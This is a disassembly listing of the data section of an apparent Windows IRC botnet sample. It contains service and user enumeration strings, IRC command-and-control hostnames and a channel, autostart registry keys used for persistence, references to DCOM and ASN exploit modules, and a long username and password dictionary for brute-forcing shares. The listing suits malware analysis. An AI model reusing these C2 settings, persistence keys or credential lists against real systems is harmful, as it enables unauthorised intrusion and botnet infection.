					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F778o ...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C08r
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E4r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Br
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C1r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415994+2Br
					; sub_415994+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn445		db 'asn445',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D42r
					; sub_40EE72+4EDAo
aDcom135_1	db 'dcom135',0
		align 4
		dd 100h, 3 dup(0)
aBotss		db 'botss',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E20o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6127o
					; sub_40EE72+61F6o
		align 4
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 4
byte_42F654	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F678	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F688	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 10h
aBot		db '[bot]-',0           ; DATA XREF: sub_415994+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6272o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A0o ...
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C8	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FECo
					; "*@admin.com"
off_42F6CC	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6196o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F86+28o
					; sub_4162AA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F86+D4o
					; sub_4162AA+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
